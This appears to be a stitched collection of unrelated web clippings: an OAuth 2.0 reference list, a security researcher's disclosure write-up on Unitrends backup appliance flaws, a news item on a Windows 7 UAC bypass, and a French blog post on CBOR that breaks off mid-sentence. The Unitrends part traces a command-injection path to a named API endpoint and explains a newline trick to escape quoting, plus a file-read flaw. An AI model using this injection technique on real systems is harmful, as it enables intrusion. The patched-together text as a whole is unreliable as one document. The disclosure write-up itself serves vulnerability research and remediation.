1.25a2 2 0 01-2.83 0z' data-evernote-id='1359' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />References

Partially taken from https://oauth.net/2/.

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='442'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1362' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />OAuth 2.0 Core

  * OAuth 2.0 Framework - RFC 6749
  * OAuth 2.0 Grant Types
    * Authorization Code
    * Implicit
    * Password
    * Client Credentials
    * Device Code
    * Refresh Token
  * OAuth 2.0 Bearer Tokens - RFC 6750
  * Threat Model and Security Considerations - RFC 6819

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='443'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1376' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Mobile and Other Devices

  * Native Apps - Recommendations for using OAuth 2.0 with native apps - RFC 8252
  * PKCE - Proof Key for Code Exchange, better security for native apps - RFC 7636
  * OAuth 2.0 Device Flow - RFC draft

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='444'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1382' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Token and Token Management

  * OAuth 2.0 Token Introspection - RFC 7662, to determine the active state and meta-information of a token
  * OAuth 2.0 Token Revocation - RFC 7009, to signal that a previously obtained token is no longer needed
  * JSON Web Token - RFC 7519

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='445'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1388' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Other Extensions

  * OAuth Assertions Framework - RFC 7521
  * SAML2 Bearer Assertion - RFC 7522, for integrating with existing identity systems
  * JWT Bearer Assertion - RFC 7523, for integrating with existing identity systems
  * OAuth WG Status Pages

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='446'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1395' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Community Resources

  * oauth.net
  * OAuth 2.0 Simplified
  * Books about OAuth 
    * OAuth 2.0 Simplified by Aaron Parecki
    * OAuth 2 in Action by Justin Richer and Antonio Sanso
    * Mastering OAuth 2.0 by Charles Bihis
    * OAuth 2.0 Cookbook by Adolfo Eloy Nascimento
  * OAuth articles by Alex Bilbie

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='447'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1407' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Protocols Built on OAuth 2.0

  * OpenID Connect
  * UMA
  * IndieAuth

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='448'%3e%3cpath fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06
1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06
1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69
9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0
00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25
1.25a2 2 0 01-2.83 0z' data-evernote-id='1413' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />TODOs

  * Photoprint: implement obtaining a profile, authenticating, and storing orders \(to illustrate OpenId connect\).
  * Gallery: refresh token, support for other grants.
  * Classic Web App: remaining security considerations.
  * Mobile Application: all
  * SPA: all

# Unitrends Vulnerability Hunting: Remote Code Execution \(CVE-2017-7280\) -
Chapter 2 - Rhino Security Labs

**Created:**| _5/8/2017 8:18:44 AM_  
---|---  
**Updated:**| _5/8/2017 8:18:44 AM_  
**Author:**| __  
**Tags:**| _Exploit network-security updates_  
  

  

# Unitrends Vulnerability Hunting: Remote Code Execution \(CVE-2017-7280\) –
Chapter 2

__ Dwight Hohnstein

__ April 18, 2017

_This is chapter two of a two part series on Remote Code Execution \(RCE\)
vulnerability hunting in Unitrends. Fixes to these bugs are available in the
latest Unitrends update._

_The exploits for the Unitrends vulnerabilities mentioned in this security
research series can be found on theRhino Security GitHub page._

In chapter one of this blog series, we reviewed two simple examples of remote
code execution in Unitrends Enterprise Backup appliances. In this blog we’ll
detail another vulnerable function that required more analysis in finding how
to reach the vulnerable function. With an application as large as Unitrends,
the interface will not always show you how to get to your vulnerable function
call; however, with the simple tools of find and grep we’ll be able to trace
every call along the way.

## RCE in /api/includes/restore.php \(CVE-2017-7283\)

In the last blog, heavy back-tracing of code was not required. Navigating to a
change password page is relatively intuitive compared to the example we will
look at now. From our first find/grep we saw the /api/includes/restore.php
file made several calls to exec and shell\_exec. Digging through the file by
searching for shell\_exec, we come upon the function downloadFiles which
shows:

<img src='img/Temp2_8717.png' width='1168' height='553' />

The function control flow is roughly as follows:

  1. Look for the ‘filenames’ parameter in $data. Return 500 if not found.
  2. Set $filenames to $data\[‘filenames’\] and create a string from this array based on each filename in $filenames.
  3. Get the size of the files by feeding filenames into another php file.

The problem here is that if anyone filename in **$data\[‘filenames’\]** is
tainted, you can achieve code execution through the **shell\_exec** in step 3
from above. So now that we’ve located the vulnerable code, we need to find a
way to reach it from the web interface. To do so, I used the grep command line
tool \(and will walk through it in this example\), but there are undoubtedly
much better ways to do this and automate such a task.

[code]

    [     ~/scratch/html$ grep -r "downloadFiles(" . | tr -s [:space:]
    ./ui/app/recover/filerecovery/fileLevelRecoveryController.js: $scope.downloadFiles();
    ./api/includes/restore.php: return $this->downloadFiles($data, $sid);
    ./api/includes/restore.php: // which therefore invokes 'download-files' to take the downloadFiles() path. What a nested mess!
    ./api/includes/restore.php: function downloadFiles($data, $sid) {
    ./api/includes/restore.php: // get the source's max size limit and let the target verify it in downloadFiles() once it adds up all the file sizes.
[/code]

We see that the _downloadFiles_ function called from the same file. Reopening
the _restore.php_ file, we note that:

    1. The downloadFiles function is called in the ‘download-files’ switch/case statement from a function post, which reads as follows:

[code]

    public function post($which, $data, $sid)
    {
        global $Log;
    
        $sid = $sid !== false ? $sid : $this->BP->get_local_system_id();
        $result = array();
        if (is_string($which[0])) {
            switch ($which[0]) {
            ... other cases ...
    
            case 'download-files':
                if (isset($data['id']) && $data['id'] !== false) {
                    return $this->downloadFilesTargetDir($data, $sid);
                } else {
                    return $this->downloadFiles($data, $sid);
                }
                break;
[/code]

    1. The function post is a part of the Restores class. To find an instance of the Restores class, we do another grep to search for each declaration using the “new” keyword.

[code]

    [  ~/scratch/html$ grep -rH "new Restores" . | tr -s [:space:]
    ./api/includes/appliance.php: $restores = new Restores($this->BP);
    ./api/includes/appliance.php: $restores = new Restores($this->BP);
[/code]

Inside _appliance.php_ , we see the class declaration inside a short function
called post\_restore which reads:

[code]

    public function post_restore($which, $data, $sid)
    {
        require_once('restore.php');
        $restores = new Restores($this->BP);
        return $restores->post($which, $data, $sid);
    }
[/code]

    1. Grepping for post\_restore, we see it’s in ./api/index.php, and executed by the function execute\_post. This function is responsible for dispatching POST requests based on the API endpoint hit, which is specified by the following switch/case snippet:

[code]

    // Check access scheme
    $method = $request[0];
    
    ... code dealing with request validation and var inits ...
    
    switch ($controller->getMethod()) {
        case 'get':
            $status = 200;
            $Log->enterMethod("GET", $request[0], $data, $sid);
            $body = execute_get($request, $data, $sid, $systems);
            break;
        case 'post':
            // adding item returns Created (201)
            $status = 201;
            $Log->enterMethod("POST", $request[0], $data, $sid);
            $body = execute_post($request, $data, $sid, $systems);
            break;
    
    ...
    
    
    
    function execute_post($request, $data, $sid, $systems)
    {
    
        ... variable declarations ...
    
        $method = $request[0];
        switch($method) {
            case 'restore':
                $which = -1;
                if (isset($request[1])) {
                    $which = array_splice($request, 1);
                }
                if (is_array($which) and $which[0] == "archive") {
                    $which = array_splice($which, 1);
                    $body = $archive->restore($which, $data, $sid);
                } else {
                    $body = $appliance->post_restore($which, $data, $sid);
                }
                break;
[/code]

To recap, we found a vulnerable function in _restore.php_ , then back-traced
this function call to see it was a part of a larger custom Restores class
object, which is instantiated and called in appliance.php. This is called from
the main api/index.php file which dispatches POST requests through
execute\_post. If we hit the endpoint _/api/restore/download-files_ then we
will successfully call our function. All that’s left is to pass it the data
\(in this case ‘filenames’\) as a JSON array of filenames.

One caveat for this exploit is that the data we’re populating in the command
string is encapsulated by string literals \(or single quotes\) which are used
as pseudo sanitization for our input. An example of this is that the command
echo ‘\`sleep 10\`’ will print the line \`sleep 10\` to the terminal, but echo
“\`sleep 10\`” will cause the terminal to sleep ten seconds. To circumvent
this protection we use the newline character to execute our commands directly.
Surrounding our malicious file name with “\n” will cause the terminal to
interpret it as:

[code]

    [sudo rflr_manage.php –-get-size –-filenames ‘(new line returns this command) $FILENAME (new line submits our malicious filename)‘
[/code]

Below is an example of the payload in action captured from Burp’s interceptor.

This resulted in the file /tmp/pwnd in being created. A python wrapper was
created around this web request, and the exploit shown below.

<img src='img/Temp2_8715.png' width='975' height='531' />

## LFI in Unitrends < 9.1.1 \(CVE-2017-7282\)

Similarly to the _downloadFiles_ vulnerability from above, the function
downloadFile has no sanitization performed on the filename. It simply opens up
the variable **$filename** , which is passed in the POST request, reads the
contents of the file, and returns it to the user. We reach it in a similar
fashion as above, except instead of the ‘download-files’ case we must hit the
‘download’ case from the switch statement in restore.php.

<img src='img/Temp2_8720.png' width='987' height='562' />

Again, a simple wrapper was made in python to automate this process.

<img src='img/Temp2_8714.png' width='720' height='802' />

## Unrestricted Support Ticket Access on support.unitrends.com

I emailed Unitrends support with the above six issues and had a phone call to
determine where they should be submitted. After several days of not hearing
back, I decided to make an account on support.unitrends.com to manage each of
the six tickets I opened. After registering a new account and navigating to
“My Profile and Cases,” I found that I was able to see other customers support
tickets, emails, conversations with staff and attachments without any extra
overhead.

List of support cases in various degrees of progression \(these were not my
cases, but other Unitrends customers\).

<img src='img/Temp2_8716.png' width='1024' height='649' />

When viewing a support ticket, I could chat and impersonate staff and even
close the case.

<img src='img/Temp2_8719.png' width='1017' height='620' />

The attachment of the ticket even revealed the root password of the appliance
the customer was using.

<img src='img/Temp2_8718.png' width='1028' height='327' />

As part of proper disclosure, I immediately notified Unitrends of the
information leakage. I was told this was an “issue we are aware of” which
requires a “window of opportunity” to be exploitable, and that it was a
particular case since my community account case was “open far longer than is
normal.”

This was not correct. At the time, any user account could access this data
regardless if they’ve ever opened a ticket with Unitrends. This has since been
patched.

## Disclosure and Remediation

I was told that these vulnerabilities were resolved in Unitrends 9.1.2, which
at the time of writing is not available for free trial on their website. I
requested to be issued a copy \(or at least a trial\) of 9.1.2 to verify the
patches but was denied. Therefore, I had no way to check if the issues were
resolved without paying for a full copy.

After adequate disclosure time passed and plenty of internal meetings, we
decided to move forward and publish the research to the Rhino Security Labs
website.

Fast forward to when Chapter 1 is published. Rhino Security Labs is contacted
by Unitrends. It is determined that there was a breakdown of communication
between support and the security team which caused the issue not to be
escalated to the proper department. Within a matter of days, Unitrends
remediates the issue, and we verify the patch.

## Disclosure and Remediation Timeline

**3/6/2017** : Initial contact with support requesting information on
vulnerability disclosures. Told I’d receive more information the following
day. No information or follow up came.

**3/8/2017** : Called Unitrends support line, told to forward information to
support@unitrends.com. Unitrends Support Case \#00429561-00429566 opened.

**3/10/2017** : No information from vendor. Called support line again, was
notified all my cases were closed. Support is investigating as to why they
were closed without contacting me.

**3/10/2017** : Called again, was told all the bugs had been fixed. Wanted to
confirm with the development team, told I couldn’t reach them and had to go
through sales and buy an appliance. Called the NW Rep from 3/6/2017 to
determine if bug bounty program was available, said the director was on time
off. I notified him my tickets were listed as resolved and wanted to confirm.
Told I’d have answers/contact info on Monday.

**3/13/2017** : Support confirms this was fixed in 9.1.2 but to verify we must
buy a new appliance. Opened another ticket showing how the support website of
Unitrends is leaking confidential client information. Told it was a known
issue and that it was specific to my account and ticket was closed. \(This bug
is not unique to one account, but affects all accounts.\) Was told this is
specific to my account only \(which it is not\) and my support case was
closed. Details will follow upon expiry of the 45-day disclosure policy.

Following is the correspondence from Unitrends Support regarding the six bugs.

Mr. Hohnstein,

We are looking into this issue for you now. Your unitrends area
representative, \[REMOVED\] should be back in contact with you soon to confirm
we have addressed these issues. I can tell you that it looks like we have
addressed these issues in our latest releases 9.1.2 and 9.2. Please allow
\[REMOVED\] to confirm these for you.

Thank you for using Unitrends Customer Support,

…  
\(My response\)

Hey all,

I downloaded the latest trial version on the site and it doesn’t seem to be up
to date with the version you mentioned \(9.1.2\). Could I get a .ova file to
confirm the changes, or know when the latest will be pushed out?

Cheers,

…

Mr. Hohnstein,

We will momentarily be denying and deactivating your community account
request. If you wish you may activate and update your trial for 30 days of
gold support. 9.1.2 release is only available for 2016 users and 9.2 is
available currently\(See KB 4078 if you have trouble updating\) and replaces
9.1.2.

Thank you for using Unitrends Customer Support.

…

**4/10/2017** : Research published to Rhino Security Lab’s website.

**4/13/2017** : Unitrends Sr. Dev contacts Rhino Security Labs. We agree to
work together to test the remediation.

**4/14/2017** : Confirm patches and update. Unitrends response to CVEs
security update.

## Conclusion

This interaction exemplifies the need for organizational policies and
technical controls to be tested and verified. It is important for employees to
be trained and know when to escalate an issue. In the end, a couple of
fascinating bugs were found, and a few more CVEs issued. The Unitrends
security team was quick to communicate with us to patch the issues, and their
customers are a little better off for it.

Previous: Unitrends Vulnerability Hunting: Remote Code Execution
\(CVE-2017-7280\) – Chapter 1

  

# UAC in Windows 7 still porous - News - The H Security: News and features

**Created:**| _6/20/2009 8:52:04 PM_  
---|---  
**Updated:**| _6/20/2009 8:52:15 PM_  
**Author:**| __  
**Tags:**| _windows security_  
  

# UAC in Windows 7 still porous

Microsoft is again having to focus its attention on the vulnerability in user
account control \(UAC\) in the beta version of Windows 7, supposedly fixed
back in February. A revised exploit means that it is still possible to obtain
administrator privileges on a system, without a UAC prompt requiring user
confirmation being displayed. Attackers could exploit this to embed malware
deep within a system – exactly what UAC is actually supposed to prevent.

<img src='img/Temp2_8654.png' width='250' height='201' alt='Window 7 UAC
exploit' />

<img src='img/Temp2_8653.png' width='16' height='16' alt='Zoom' />The exploit
can test different scenarios to see when UAC is activated

Microsoft has made efforts to substantially reduce the number of UAC security
queries in Windows 7 compared to Vista. To achieve this, the company has
introduced a number of interim levels in which Windows automatically waves
through system changes made by programs. In the beta version of Windows 7,
however, security experts demonstrated that a malicious script could exploit
this to deactivate UAC with no user interaction. Swiftly followed by a
demonstration of how a program could obtain unlimited administrator privileges
for its own activities.

Microsoft initially denied that this represented a security problem, stating
that UAC was, in fact, designed to work that way. However, their resistance
rapidly crumbled and the software giant soon announced that it was revising
UAC. Although the old attack no longer works in RC1, the new exploit now
published shows that the problem has only superficially been dealt with. A
quick test by the heise Security editorial team showed that it was still
possible to bring up a command prompt with administrator privileges, without
triggering a UAC prompt. The exploit utilises DLL injection into unprivileged
running processes, such as explorer.exe and taskhost.exe.

<img src='img/Temp2_8655.png' width='250' height='184' alt='Windows 7 UAC' />

<img src='img/Temp2_8653.png' width='16' height='16' alt='Zoom' />In Windows
7, users can set when applications request authorisation

Microsoft has reportedly been informed of the problem and is examining whether
a response is required. Certainly if the company wants to hit the RTM
\(release to manufacturing\) milestone in the second half of July, it's going
to have to get its skates on. Blogger Long Zengh has published a video which
illustrates the UAC problems on his website.

_See also:_

  * Microsoft U-turn on UAC vulnerability

# Blog Stéphane Bortzmeyer: RFC 7049: Concise Binary Object Representation
\(CBOR\)

**Created:**| _10/25/2013 12:29:26 PM_  
---|---  
**Updated:**| _10/25/2013 12:29:26 PM_  
**Author:**| __  
**Tags:**| _format rfc binary_  
  

# RFC 7049 : Concise Binary Object Representation \(CBOR****\)

Date de publication du RFC : Octobre 2013  
Auteur\(s\) du RFC : C. Bormann \(Universitaet Bremen TZI\), P. Hoffman \(VPN
Consortium\)  
Chemin des normes  
Première rédaction de cet article le 24 Octobre 2013

* * *
Il existait un zillion de formats binaires d'échange de données **?** Et bien
il y en a désormais un zillion plus un. CBOR \(_Concise Binary Object
Representation_\) est un format qui utilise un modèle de données très proche
de celui de **JSON** , mais est encodé en binaire, avec comme but principal
d'être simple à encoder et décoder, même par des machines ayant peu de
ressources matérielles**.**

Parmi les autres formats binaires courants, on connait **ASN**.** 1 ** \(plus
exactement **BER** ou **DER** , utilisés dans plusieurs protocoles **IETF**\)
ou **MessagePack** mais ils avaient des cahiers des charges assez différents
\(l'annexe E du RFC contient une comparaison\)**.** CBOR se distingue d'abord
par sa référence à **JSON** \(RFC 4627 \), dont le modèle de données sert de
point de départ à CBOR, puis par le choix de faciliter le travail des
logiciels qui devront créer ou lire du CBOR**.** CBOR doit pouvoir tourner sur
des machines très limitées**.** Par contre, la taille des données encodées
n'est qu'une considération secondaire \(section 1**.** 1 du RFC pour une liste
prioritisée des objectifs de CBOR\)**.** Quant au lien avec JSON, l'idée est
d'avoir des modèles de données suffisamment proches pour qu'écrire des
convertisseurs CBOR->JSON et JSON->CBOR soit assez facile, et pour que les
protocoles qui utilisent actuellement JSON puissent être adaptés à CBOR sans
douleur excessive**.**

La spécification complète de CBOR est en section 2 de ce RFC**.** Chaque
élément contenu dans le flot de données commence par un octet dans les trois
premiers bits indiquent le **type majeur****.** Les cinq suivants donnent des
détails. Ce mécanisme permet de programmeur un décodeur CBOR avec une
**table** de seulement 256 entrées \(l'annexe B fournit cette table et
l'annexe C un décodeur en **pseudo-code** très proche de **C**\)**.** Si la
valeur que codent ces cinq bits suivants est inférieure à 24, elle est
utilisée telle quelle**.** Sinon, cela veut dire que les détails sont sur
plusieurs octets et qu'il faut lire les suivants \(la valeur des cinq bits
codant la longueur à lire\)**.** Selon le type majeur, les données qui suivent
le premier octet sont une valeur \(c'est le cas des **entiers** , par
exemple\) ou bien un doublet \{longueur, valeur\} \(les **chaînes de
caractères** , par exemple\)**.** L'annexe A de notre RFC contient de nombreux
exemples de valeurs CBOR avec leur encodage**.**

Quels sont les types majeurs possibles **?** Si les trois premiers bits sont à
zéro, le type majeur est un entier non signé**.** Si les cinq bits suivants
sont inférieurs à 24, c'est la valeur de cet entier**.** S'ils sont égaux à
24, c'est que l'entier se trouve dans l'octet suivant l'octet initiale, s'ils
sont égaux à 25, que l'entier se trouve dans les deux octets suivants, et
ainsi de suite \(31 est réservé pour les tailles indéterminées, décrites plus
loin\)**.** L'entier 10 se représentera donc 00001010, l'entier 42 sera
00011000 00101010, etc**.** Presque pareil pour un type majeur de 1, sauf que
l'entier sera alors signé, et négatif**.** La valeur sera -1 moins la valeur
encodée. Ainsi, -3 sera 00100010. Vous voulez vérifier **?** L'excellent
terrain de jeu `http://cbor**.** me` vous le permet, essayez par exemple
`http://cbor**.** me?diag=42` .

Le type majeur 2 sera une chaîne d'octets**.** La longueur est codée d'abord,
en suivant la même règle que pour les entiers**.** Puis viennent les données.
Le type 3 indique une chaîne de caractères et non plus d'octets**.** Ce sont
forcément des caractères **Unicode** , encodés en **UTF-8** \(RFC 3629 \)**.**
Le champ longueur \(codé comme un entier\) indique le nombre d'octets de
l'encodage UTF-8, pas le nombre de caractères \(pour connaître ce dernier, il
faut un décodeur UTF-8\)**.** Vous voulez des exemples ? Connectez-vous à
`http://www.cbor**.** me/?diag=%22lait%22` et vous voyez que la chaîne « lait
» est représentée par 646c616974 : 64 = 01100100, type majeur 3 puis une
longueur de 4**.** Les codes **ASCII** suivent \(rappelez-vous qu'ASCII est un
sous-ensemble d'UTF-8\)**.** Avec des caractères non-ASCII comme
`http://www.cbor**.** me/?diag=%22caf%C3%A9%22` , on aurait 65636166c3a9
\(même type majeur, longueur 5 **octets** , puis les caractères, avec c3a9 qui
code le **é** en UTF-8\)**.**

Le type majeur 4 indique un tableau**.** Rappelez-vous que CBOR utilise un
modèle de données qui est très proche de celui de JSON**.** Les structures de
données possibles sont donc les tableaux et les objets \(que CBOR appelle les
_maps_\)**.** Un tableau est encodé comme une chaîne d'octets, longueur
\(suivant les règles des entiers\) puis les éléments du tableau, à la queue
leu leu**.** La longueur est cette fois le nombre d'éléments, pas le nombre
d'octets**.** Les éléments d'un tableau ne sont pas forcément tous du même
type**.**

Le type majeur 5 indique une _map_ \(ce qu'on appelle objet en JSON et
**dictionnaire** ou _hash_ dans d'autres langages\)**.** Chaque élément d'une
_map_ est un doublet \{clé, valeur\}**.** L'encodage est le même que pour les
tableaux, la longueur étant le nombre de doublets**.** Chaque doublet est
encodé en mettant la clé, puis la valeur**.** Donc, le premier scalaire est la
clé de la première entrée de la _map_ , le deuxième la valeur de la première
entrée, le troisième la clé de la deuxième entrée, etc**.**

Les clés doivent être uniques \(une question problématique en JSON où les
descriptions existantes de ce format ne sont ni claires ni cohérentes sur ce
point\)**.**

Je passe sur le type majeur 6, voyez plus loin le paragraphe sur les
étiquettes**.** Le type majeur 7 sert à coder les **flottants** \(encodés
ensuite en **IEEE 754**\) et aussi d'autres types scalaires et le _break code_
utilisé dans le paragraphe suivant**.** Les autres types scalaires, nommés «
valeurs simples » \(_simple values_\) sont des valeurs spéciales comme 20 pour
le **booléen** Faux, 21 pour le Vrai, et 22 pour le néant **.** Elles sont
stockées dans un registre IANA **.**

Dans la description ci-dessus, les types vectoriels \(tableaux, chaînes,
_maps_\) commencent par la longueur du vecteur**.** Pour un encodeur CBOR,
cela veut dire qu'il faut connaître cette longueur avant même d'écrire le
premier élément**.** Cela peut être contraignant, par exemple si on encode au
fil de l'eau \(_streaming_\) des données en cours de production**.** CBOR
permet donc d'avoir des longueurs indéterminées**.** Pour cela, on met 31
comme « longueur » et cette valeur spéciale indique que la longueur n'est pas
encore connue**.** Le flot des éléments devra donc avoir une fin explicite
cette fois, le _break code_**.** Celui-ci est représenté par un élément de
type majeur 7 et de détails 31, donc tous les bits de l'octet à 1**.** Par
exemple, `http://cbor.me/?diag=%28_%20%22lait%22%29` nous montre que la chaîne
« lait » ainsi codée \(le **\_** indique qu'on veut un codage en longueur
indéterminée\) sera 7f646c616974ff**.** 7f est le type majeur 3, chaîne de
caractères, avec la longueur 31, indiquant qu'elle est indéterminée**.** Puis
suit la chaîne elle-même \(les chaînes indéterminées en CBOR sont faites par
concaténation de châines de longueur déterminée\), puis le _break code_
ff**.**

La même technique peut être utilisée pour les chaînes d'octets et de
caractères, afin de ne pas avoir à spécifier leur longueur au début**.** À
noter que cette possibilité de listes de longueur indéterminée n'existait pas
dans les premières versions de CBOR**.** Elle a été ajoutée pour faciliter la
vie du _streaming_**.**

Revenons au type majeur 6**.** Il indique une étiquette \(_tag_\), qui sert à
préciser la sémantique de l'élément qui suit**.** Un exemple typique est pour
indiquer qu'une chaîne de caractères est un fait une donnée structurée, par
exemple une date ou un numéro de téléphone**.** Un décodeur n'a pas besoin de
comprendre les étiquettes, il peut parfaitement les ignorer**.** Les valeurs
possibles pour les étiquettes sont stockées dans un registre IANA **.**

Quelques valeurs d'étiquette intéressantes **?** La valeur 0 indique une date
au format du RFC 3339  \(une chaîne de caractères\)**.** La valeur 1 étiquette
au contraire un entier, et indique une date comme un nombre de secondes depuis
le 1er janvier **1970****.** Les valeurs 2 et 3 étiquettent une chaîne
d'octets et indiquent qu'on recommande de l'interpréter comme un **grand
entier** \(dont la valeur n'aurait pas tenu dans les types majeurs 0 ou
1\)**.** Les décodeurs qui ne gèrent pas les étiquettes se contenteront de
passer à l'application cette chaîne d'octets, les autres passeront un grand
entier**.**

Autre cas rigolos, les nombres **décimaux** non entiers**.** Certains ne
peuvent pas être représentés de manière exacte sous forme d'un flottant**.**
On peut alors les représenter par un couple \[**mantisse** ,
**exposant**\]**.** Par exemple, 273,15 est le couple \[27315, -2\]
\(l'exposant est en base 10\)**.** On peut donc l'encoder en CBOR sous forme
d'un tableau de deux élements, et ajouter l'étiquette de valeur 4 pour
préciser qu'on voulait un nombre unique**.**

D'autres étiquettes précisent le contenu d'une chaîne de caractères :
l'étiquette 32 indique que la chaîne est un **URI** , la 34 que la chaîne est
du **Base64** \(RFC 4648 \), la 35 dit qu'on va rencontrer une **expression
rationnelle** et la 36 que cela va être un message **MIME** \(RFC 2045 \)**.**
Comme l'interprétation des étiquettes est optionnelle, un décodeur CBOR qui
n'a pas envie de s'embêter peut juste renvoyer à l'application cette
chaîne**.**

Une astuce amusante pour finir les étiquettes, et la spécification du format :
l'étiquette 55799 signifie juste que ce qui suit est du CBOR, sans modifier sa
sémantique**.** Encodée, elle sera représentée par 0xd9d9f7 \(type majeur 6
sur trois bits, puis détails 25 qui indiquent que le nombre est sur deux
octets puis le nombre lui-même, d9d7 en hexa\)**.** Ce nombre 0xd9d9f7 peut
donc servir de **nombre magique****.** Si on le trouve au début d'un fichier,
c'est probablement du CBOR \(il ne peut jamais apparaître au début d'un
fichier JSON, donc ce nombre est particulièrement utile quand on veut
distinguer tout de suite si on a affaire à du CBOR ou à du JSON\)**.**

Maintenant que le format est défini rigoureusement, passons à son
utilisation**.** CBOR est conçu pour des environnements où il ne sera souvent
pas possible de négocier les détails du format entre les deux parties**.** Un
décodeur CBOR générique peut décoder sans connaître le schéma utilisé en
face**.** Mais, en pratique, lorsqu'un protocole utilise CBOR pour la
communication, il est autorisé \(section 3 du RFC\) à mettre des restrictions,
